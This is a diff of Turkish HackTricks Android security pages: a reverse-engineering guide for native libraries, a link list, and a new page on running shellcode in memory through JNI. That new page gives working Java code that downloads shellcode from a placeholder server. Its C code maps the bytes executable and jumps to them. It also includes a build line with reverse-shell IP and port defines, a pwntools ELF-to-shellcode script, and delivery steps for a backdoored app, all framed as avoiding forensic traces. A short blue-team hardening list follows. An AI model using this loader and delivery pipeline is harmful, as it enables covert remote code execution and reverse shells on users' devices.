- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android için hızlı kurs
- [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
- [https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
- [SSLPinDetect: Advanced SSL Pinning Detection for Android Security Analysis](https://petruknisme.medium.com/sslpindetect-advanced-ssl-pinning-detection-for-android-security-analysis-1390e9eca097)
- [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect)
- [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns)
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
## Yet to try
- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
- [CoRPhone — Android in-memory JNI execution and packaging pipeline](https://github.com/0xdevil/corphone)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,121 @@
# Android In-Memory Native Code Execution via JNI (shellcode)
{{#include ../../banners/hacktricks-training.md}}
Bu sayfa, JNI kullanarak güvensiz bir Android uygulama sürecinden native payload'ları tamamen bellekte çalıştırmak için pratik bir deseni belgelemektedir. Akış, disk üzerinde herhangi bir native binary oluşturmayı engeller: ham shellcode bytes'larını HTTP(S) üzerinden indirir, bunları bir JNI bridge'e geçirir, RX memory ayırır ve ona atlar.
Neden önemli
- Adli izleri azaltır (diskte ELF yok)
- ELF exploit binary'den üretilen “stage-2” native payload'larla uyumludur
- Modern malware ve red teams tarafından kullanılan tradecraft ile örtüşür
Yüksek seviye desen
1) Java/Kotlin tarafında shellcode baytlarını al
2) Byte array ile native methodu (JNI) çağır
3) JNI içinde: RW memory ayır → baytları kopyala → mprotect ile RX yap → entrypoint'i çağır
Minimal örnek
Java/Kotlin tarafı
```java
public final class NativeExec {
static { System.loadLibrary("nativeexec"); }
public static native int run(byte[] sc);
}
// Download and execute (simplified)
byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
int rc = NativeExec.run(sc);
```
C JNI tarafı (arm64/amd64)
```c
#include <jni.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
static inline void flush_icache(void *p, size_t len) {
__builtin___clear_cache((char*)p, (char*)p + len);
}
JNIEXPORT jint JNICALL
Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
jsize len = (*env)->GetArrayLength(env, sc);
if (len <= 0) return -1;
// RW anonymous buffer
void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (buf == MAP_FAILED) return -2;
jboolean isCopy = 0;
jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
if (!bytes) { munmap(buf, len); return -3; }
memcpy(buf, bytes, len);
(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);
// Make RX and execute
if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
flush_icache(buf, len);
int (*entry)(void) = (int (*)(void))buf;
int ret = entry();
// Optional: restore RW and wipe
mprotect(buf, len, PROT_READ | PROT_WRITE);
memset(buf, 0, len);
munmap(buf, len);
return ret;
}
```
Notlar ve uyarılar
- W^X/execmem: Modern Android W^X'i uygular; anonim PROT_EXEC eşlemeleri JIT içeren uygulama süreçleri için hâlâ genelde izinlidir (SELinux policy'ye tabidir). Bazı cihazlar/ROM'lar bunu kısıtlar; gerektiğinde JIT-allocated exec pools veya native bridges'e geri dönün.
- Mimariler: shellcode mimarisinin cihazla eşleştiğinden emin olun (genelde arm64-v8a; x86 sadece emülatörlerde).
- Giriş noktası sözleşmesi: shellcode girişiniz için bir konvansiyon belirleyin (arg yok mu yoksa yapı işaretçisi mi). Bunu position-independent (PIC) tutun.
- Kararlılık: Atlamadan önce instruction cache'i temizleyin; uyuşmayan cache ARM'da çökmeye neden olabilir.
Paketleme ELF → positionindependent shellcode
Sağlam bir operatör pipeline'ı şu şekildedir:
- Exploit'inizi statik bir ELF olarak musl-gcc ile derleyin
- ELF'i pwntools shellcraft.loader_append kullanarak selfloading shellcode blob'una dönüştürün
Derleme
```bash
musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
```
ELF'i ham shellcode'a dönüştürme (amd64 örneği)
```python
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
loader = shellcraft.loader_append(elf.data, arch='amd64')
sc = asm(loader)
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")
```
Why loader_append works: küçük, gömülü ELF program segmentlerini belleğe mapleyen ve kontrolü entrypointe aktaran bir loader üretiyor; böylece uygulama tarafından memcpy'lenip çalıştırılabilecek tek bir ham blob elde edersiniz.
Delivery
- Kontrolünüzdeki bir HTTP(S) sunucusunda sc barındırın
- Backdoored/test app sc'yi indirir ve yukarıda gösterilen JNI bridge'i çağırır
- Kernel/user-mode payload'ın kurduğu herhangi bir reverse bağlantı için operator box'unuzda dinleyin
Validation workflow for kernel payloads
- Hızlı reversing/offset recovery için symbolized vmlinux kullanın
- Varsa uygun bir debug image üzerinde primitives'leri prototipleyin, ancak her zaman gerçek Android hedefinde yeniden doğrulayın (kallsyms, KASLR slide, page-table layout ve mitigations farklıdır)
Hardening/Detection (blue team)
- Mümkün olduğunda uygulama domain'lerinde anonim PROT_EXEC'e izin vermeyin (SELinux policy)
- Katı kod bütünlüğü uygulayın (network üzerinden dinamik native loading yok) ve update channel'ları doğrulayın
- Şüpheli mmap/mprotect geçişlerini RX'e ve atlamalardan önceki büyük byte-array kopyalarını izleyin
References
- [CoRPhone challenge repo (Android kernel pwn; JNI memory-only loader pattern)](https://github.com/0xdevil/corphone)
- [build.sh (musl-gcc + pwntools pipeline)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/build.sh)
- [exp2sc.py (pwntools shellcraft.loader_append)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exp2sc.py)
- [exploit.c TL;DR (operator/kernel flow, offsets, reverse shell)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exploit.c)
- [INSTRUCTIONS.md (setup notes)](https://github.com/0xdevil/corphone/blob/main/INSTRUCTIONS.md)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -5,21 +5,21 @@
**Daha fazla bilgi için bakınız:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html)
Android uygulamaları performans-kritik görevler için genellikle C veya C++ ile yazılmış native kütüphaneler kullanabilir. Kötü amaçlı yazılım yazarları da bu kütüphaneleri kötüye kullanır çünkü ELF paylaşılan nesneleri hâlâ DEX/OAT byte-code'dan daha zor decompile edilir.
Bu sayfa, Android `.so` dosyalarını tersine mühendislik yapmayı kolaylaştıran *pratik* iş akışlarına ve *son* tooling geliştirmelerine (2023-2025) odaklanır.
Android uygulamaları performans-kritik görevler için genellikle C veya C++ ile yazılmış yerel kütüphaneler kullanabilir. Malware yazarları da bu kütüphaneleri kötüye kullanır çünkü ELF shared objects hâlâ DEX/OAT byte-code'dan daha zor decompile edilir.
Bu sayfa, Android `.so` dosyalarını tersine çevirmeyi kolaylaştıran *pratik* iş akışları ve *güncel* araç iyileştirmelerine (2023-2025) odaklanır.
---
### Yeni çekilmiş `libfoo.so` için hızlı triyaj iş akışı
1. **Kütüphaneyi çıkarın**
1. **Kütüphaneyi çıkartın**
```bash
# From an installed application
adb shell "run-as <pkg> cat lib/arm64-v8a/libfoo.so" > libfoo.so
# Or from the APK (zip)
unzip -j target.apk "lib/*/libfoo.so" -d extracted_libs/
```
2. **Mimari ve korumaları belirleyin**
2. **Mimari ve korumaları tespit edin**
```bash
file libfoo.so # arm64 or arm32 / x86
readelf -h libfoo.so # OS ABI, PIE, NX, RELRO, etc.
@ -31,20 +31,20 @@ readelf -s libfoo.so | grep ' Java_' # dynamic-linked JNI
strings libfoo.so | grep -i "RegisterNatives" -n # static-registered JNI
```
4. **Bir decompiler'a yükleyin** (Ghidra ≥ 11.0, IDA Pro, Binary Ninja, Hopper or Cutter/Rizin) ve otomatik analizi çalıştırın.
Yeni Ghidra sürümleri, Android 14 NDK ile derlenen kütüphanelerin analizini büyük ölçüde iyileştiren PAC/BTI stub'larını ve MTE etiketlerini tanıyan bir AArch64 decompiler getirdi.
5. **Statik vs dinamik reversing'e karar verin:** stripped, obfuscated kod genellikle *instrumentation* gerektirir (Frida, ptrace/gdbserver, LLDB).
Yeni Ghidra sürümleri, PAC/BTI stub'larını ve MTE etiketlerini tanıyan bir AArch64 decompiler'ı getirdi; bu, Android 14 NDK ile derlenen kütüphanelerin analizini büyük ölçüde iyileştirir.
5. **Statik mi dinamik mi tersine mühendislik yapacağına karar verin:** strip'lenmiş veya obfuskelenmiş kod genellikle *instrumentation* gerektirir (Frida, ptrace/gdbserver, LLDB).
---
### Dynamic Instrumentation (Frida ≥ 16)
### Dinamik Enstrümantasyon (Frida ≥ 16)
Fridanın 16-serisi, hedef modern Clang/LLD optimizasyonları kullandığında yardımcı olan birkaç Android-özel geliştirme getirdi:
Frida'nın 16 serisi, hedef modern Clang/LLD optimizasyonları kullandığında yardımcı olan birkaç Android'e özgü iyileştirme getirdi:
* `thumb-relocator` artık LLDnin agresif hizalaması (`--icf=all`) tarafından üretilen küçük ARM/Thumb fonksiyonlarına *hook* atabilir.
* Android'de *ELF import slots*'u listelemek ve yeniden bağlamak çalışıyor; inline hook'lar reddedildiğinde modül başına `dlopen()`/`dlsym()` patchlemeye izin veriyor.
* Java hooking, uygulamalar Android 14'te `--enable-optimizations` ile derlendiğinde kullanılan yeni **ART quick-entrypoint** için düzeltildi.
* `thumb-relocator` artık LLD'nin agresif hizalaması (`--icf=all`) tarafından oluşturulan küçük ARM/Thumb fonksiyonlarına *hook* atabilir.
* Android'de *ELF import slotlarını* listeleme ve yeniden bağlama çalışıyor; inline hook'lar reddedildiğinde modül başına `dlopen()`/`dlsym()` patchleme yapılmasına olanak tanır.
* Java hooking, Android 14'te uygulamalar `--enable-optimizations` ile derlendiğinde kullanılan yeni **ART quick-entrypoint** için düzeltildi.
Örnek: `RegisterNatives` aracılığıyla kaydedilen tüm fonksiyonların listelenmesi ve çalışma zamanında adreslerini dump etme:
Örnek: `RegisterNatives` aracılığıyla kayıtlı tüm fonksiyonları listeleyip çalışma zamanında adreslerini dökme:
```javascript
Java.perform(function () {
var Runtime = Java.use('java.lang.Runtime');
@ -61,18 +61,18 @@ console.log('[+] RegisterNatives on ' + clazz.getName() + ' -> ' + count + ' met
});
});
```
Frida will work out of the box on PAC/BTI-enabled devices (Pixel 8/Android 14+) as long as you use frida-server 16.2 or later earlier versions failed to locate padding for inline hooks.
Frida, PAC/BTI-enabled devices (Pixel 8/Android 14+) üzerinde, frida-server 16.2 veya daha yenisini kullandığınız sürece kutudan çıktığı gibi çalışır — önceki sürümler inline hooks için padding'i bulamıyordu.
### Process-local JNI telemetry via preloaded .so (SoTap)
Tam özellikli instrumentation aşırı veya engellenmiş olduğunda, hedef süreç içinde küçük bir logger önceden yükleyerek hala native düzeyde görünürlük elde edebilirsiniz. SoTap, aynı uygulama süreci içindeki diğer JNI (.so) kütüphanelerin çalışma zamanındaki davranışını loglayan hafif bir Android native (.so) kütüphanesidir (root gerektirmez).
Tam özellikli instrumentation aşırı veya engellenmiş olduğunda, hedef süreç içinde küçük bir logger'ı önceden yükleyerek native düzeyde görünürlük elde edebilirsiniz. SoTap, aynı uygulama süreci içindeki diğer JNI (.so) kütüphanelerinin çalışma zamanındaki davranışını kaydeden hafif bir Android native (.so) kütüphanesidir (root gerektirmez).
Key properties:
- Initializes early and observes JNI/native interactions inside the process that loads it.
- Persists logs using multiple writable paths with graceful fallback to Logcat when storage is restricted.
- Source-customizable: edit sotap.c to extend/adjust what gets logged and rebuild per ABI.
Temel özellikler:
- Erken başlatılır ve bunu yükleyen süreç içindeki JNI/native etkileşimlerini gözlemler.
- Kayıtları çoklu yazılabilir yollar kullanarak saklar ve depolama kısıtlı olduğunda Logcat'e nazikçe geri döner.
- Kaynak-özelleştirilebilir: kayda alınacakları genişletmek/ayarlamak için sotap.c'yi düzenleyin ve ABI başına yeniden derleyin.
Setup (repack the APK):
Kurulum (repack the APK):
1) Drop the proper ABI build into the APK so the loader can resolve libsotap.so:
- lib/arm64-v8a/libsotap.so (for arm64)
- lib/armeabi-v7a/libsotap.so (for arm32)
@ -92,11 +92,21 @@ Log paths (checked in order):
# If all fail: fallback to Logcat only
```
Notlar ve sorun giderme:
- ABI hizalaması zorunludur. Uyuşmazlık UnsatisfiedLinkError tetikler ve logger yüklenmez.
- Depolama kısıtlamaları modern Android'te yaygındır; dosya yazmaları başarısız olursa, SoTap yine de Logcat üzerinden çıktı verir.
- Davranış/ayrıntı seviyesi özelleştirilebilir amaçlıdır; sotap.c düzenledikten sonra kaynaktan yeniden derleyin.
- ABI hizalaması zorunludur. Uyumsuzluk UnsatisfiedLinkError üretecek ve logger yüklenmeyecektir.
- Depolama kısıtlamaları modern Android'te yaygındır; dosya yazma işlemleri başarısız olursa bile SoTap Logcat üzerinden çıktı vermeye devam edecektir.
- Davranış/ayrıntı seviyesi özelleştirilmek içindir; sotap.c dosyasını düzenledikten sonra kaynaktan yeniden derleyin.
Bu yaklaşım, işlem başlangıcından itibaren native çağrı akışlarını gözlemlemenin kritik olduğu fakat root/sistem-geneli hook'larının mevcut olmadığı durumlarda malware triage ve JNI hata ayıklama için kullanışlıdır.
Bu yaklaşım, işlem başlangıcından itibaren native çağrı akışlarını gözlemlemenin kritik olduğu fakat root/sistem-genel hookların mevcut olmadığı durumlarda malware triage ve JNI debugging için faydalıdır.
---
### Ayrıca bakınız: inmemory native code execution via JNI
Yaygın bir saldırı modeli, çalışma zamanında ham bir shellcode blobunu indirip JNI köprüsü aracılığıyla doğrudan bellekten çalıştırmaktır (disk üzerinde ELF yok). Detaylar ve kullanıma hazır JNI snippet burada:
{{#ref}}
in-memory-jni-shellcode-execution.md
{{#endref}}
---
@ -104,18 +114,18 @@ Bu yaklaşım, işlem başlangıcından itibaren native çağrı akışlarını
| Yıl | CVE | Etkilenen kütüphane | Notlar |
|------|-----|------------------|-------|
|2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|WebP görüntülerini decode eden native koddan erişilebilen heap buffer overflow. Birçok Android uygulaması zayıf sürümleri paketler. Bir APK içinde `libwebp.so` görürseniz, sürümünü kontrol edin ve exploit veya patch denemesi yapın.| |
|2024|Multiple|OpenSSL 3.x series|Birçok bellek-güvenliği ve padding-oracle sorunu. Birçok Flutter & ReactNative paket kendi `libcrypto.so`'sunu içeriyor.|
|2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|WebP görüntülerini decode eden native koddan erişilebilen heap buffer overflow. Birçok Android uygulaması savunmasız sürümleri paketliyor. Bir APK içinde `libwebp.so` gördüğünüzde sürümünü kontrol edin ve istismar veya yamalama denemeleri yapın.| |
|2024|Multiple|OpenSSL 3.x series|Birçok memory-safety ve padding-oracle sorunu mevcut. Birçok Flutter & ReactNative paketi kendi `libcrypto.so`'larını taşır.| |
APK içinde *third-party* `.so` dosyaları gördüğünüzde, hash'lerini kaynak (upstream) güvenlik duyurularıyla her zaman karşılaştırın. SCA (Software Composition Analysis) mobilde nadirdir, bu yüzden eski zayıf build'ler yaygındır.
APK içinde *third-party* `.so` dosyaları gördüğünüzde, hashlerini upstream advisories ile karşılaştırın. SCA (Software Composition Analysis) mobilde nadirdir, bu yüzden eski ve savunmasız yapılar yaygındır.
---
### Anti-Reversing & Hardening eğilimleri (Android 13-15)
### Anti-Reversing & Hardening trendleri (Android 13-15)
* **Pointer Authentication (PAC) & Branch Target Identification (BTI):** Android 14, desteklenen ARMv8.3+ silikonlarda sistem kütüphanelerinde PAC/BTI'yi etkinleştirir. Decompiler'lar şimdi PACile ilişkili sahte-talimatları gösterir; dinamik analiz için Frida PAC'i kaldırdıktan *sonra* trampolinler enjekte eder, ancak özel trampolinleriniz gerektiğinde `pacda`/`autibsp` çağırmalıdır.
* **MTE & Scudo hardened allocator:** memory-tagging isteğe bağlıdır fakat birçok Play-Integrity farkında uygulama `-fsanitize=memtag` ile derlenir; tag hatalarını yakalamak için `setprop arm64.memtag.dump 1` ve `adb shell am start ...` kullanın.
* **LLVM Obfuscator (opaque predicates, control-flow flattening):** ticari packer'lar (örn., Bangcle, SecNeo) giderek *native* kodu da koruyor, sadece Java'yı değil; `.rodata` içinde sahte control-flow ve şifrelenmiş string blob'ları bekleyin.
* **Pointer Authentication (PAC) & Branch Target Identification (BTI):** Android 14, desteklenen ARMv8.3+ çiplerde sistem kütüphanelerinde PAC/BTI'yi etkinleştirir. Decompiler'lar artık PAC ile ilişkili sahte talimatları gösteriyor; dinamik analiz için Frida PAC'i kaldırdıktan sonra trampolinler enjekte eder, ancak özel trampolinleriniz gerektiğinde `pacda`/`autibsp` çağırmalıdır.
* **MTE & Scudo hardened allocator:** memory-tagging isteğe bağlıdır ancak birçok Play-Integrity farkındalıklı uygulama `-fsanitize=memtag` ile derlenir; tag hatalarını yakalamak için `setprop arm64.memtag.dump 1` ve `adb shell am start ...` kullanın.
* **LLVM Obfuscator (opaque predicates, control-flow flattening):** ticari packer'lar (ör. Bangcle, SecNeo) giderek *native* kodu da koruyor, sadece Java'yı değil; `.rodata` içinde sahte kontrol-akışları ve şifrelenmiş string blobları bekleyin.
---
@ -127,10 +137,11 @@ APK içinde *third-party* `.so` dosyaları gördüğünüzde, hash'lerini kaynak
### Referanslar
- Frida 16.x change-log (Android hooking, tiny-function relocation) [frida.re/news](https://frida.re/news/)
- NVD advisory for `libwebp` overflow CVE-2023-4863 [nvd.nist.gov](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
- SoTap: Lightweight in-app JNI (.so) behavior logger [github.com/RezaArbabBot/SoTap](https://github.com/RezaArbabBot/SoTap)
- SoTap Releases [github.com/RezaArbabBot/SoTap/releases](https://github.com/RezaArbabBot/SoTap/releases)
- How to work with SoTap? [t.me/ForYouTillEnd/13](https://t.me/ForYouTillEnd/13)
- Frida 16.x değişiklik günlüğü (Android hooking, tiny-function relocation) [frida.re/news](https://frida.re/news/)
- NVD danışmanlığı: `libwebp` overflow CVE-2023-4863 [nvd.nist.gov](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
- SoTap: Hafif uygulama içi JNI (.so) davranış logger'ı [github.com/RezaArbabBot/SoTap](https://github.com/RezaArbabBot/SoTap)
- SoTap Sürümleri [github.com/RezaArbabBot/SoTap/releases](https://github.com/RezaArbabBot/SoTap/releases)
- SoTap ile nasıl çalışılır? [t.me/ForYouTillEnd/13](https://t.me/ForYouTillEnd/13)
- [CoRPhone — JNI memory-only execution pattern and packaging](https://github.com/0xdevil/corphone)
{{#include ../../banners/hacktricks-training.md}}